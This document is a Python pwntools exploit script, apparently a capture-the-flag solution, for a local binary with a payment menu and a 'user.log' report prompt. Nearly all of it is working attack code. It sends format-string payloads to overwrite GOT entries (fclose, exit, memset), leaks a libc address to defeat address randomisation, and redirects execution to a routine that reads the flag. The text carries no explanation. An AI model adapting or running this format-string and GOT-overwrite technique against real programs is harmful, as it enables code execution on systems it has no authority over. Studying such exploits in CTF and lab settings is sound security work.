1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| def exp(): global libc global binary global elf elf = ELF(binary, checksec=False) libc = ELF("./libc.so.6", checksec=False) fclose_got = elf.got['fclose'] sla(b'2.exit\n',b'1') sla(b'how much you want to pay?\n',b'255') fclose_got = elf.got['fclose'] main_addr = 0x40139B payload = b'a'*0x100 fmtstr = f'%{main_addr }c%12$hn'.encode()+ b'---%25$p----' payload += fmtstr sla(b'opened user.log, please report:\n',payload) sla(b'2.exit\n',b'1') sla(b'how much you want to pay?\n',p64(fclose_got)) ru(b'---') libc.address = int(ru(b'----',drop=True),16) - 0x2a1ca leak('libc.address',libc.address)
fgets_flag_instr =0x4014F9 sla(b'2.exit\n',b'1') sla(b'how much you want to pay?\n',b'255') payload = b'a'*0x100 fmtstr = f'%{fgets_flag_instr }c%12$hn'.encode() payload += fmtstr sla(b'opened user.log, please report:\n',payload) sla(b'2.exit\n',b'1') exit_got = elf.got['exit'] sla(b'how much you want to pay?\n',p64(exit_got)) sla(b'2.exit\n',b'1') sla(b'how much you want to pay?\n',b'255') puts_addr = libc.sym['puts'] payload = b'a'*0x100 padding1 = (puts_addr >> 16) & 0xff fmtstr = f'%{padding1}c%13$hhn'.encode() padding2 = puts_addr & 0xffff fmtstr += f'%{padding2-padding1}c%12$hn'.encode() payload += fmtstr sla(b'opened user.log, please report:\n',payload) memset_got = elf.got['memset'] sla(b'2.exit\n',b'1') sla(b'how much you want to pay?\n',p64(memset_got)+p64(memset_got+2))
|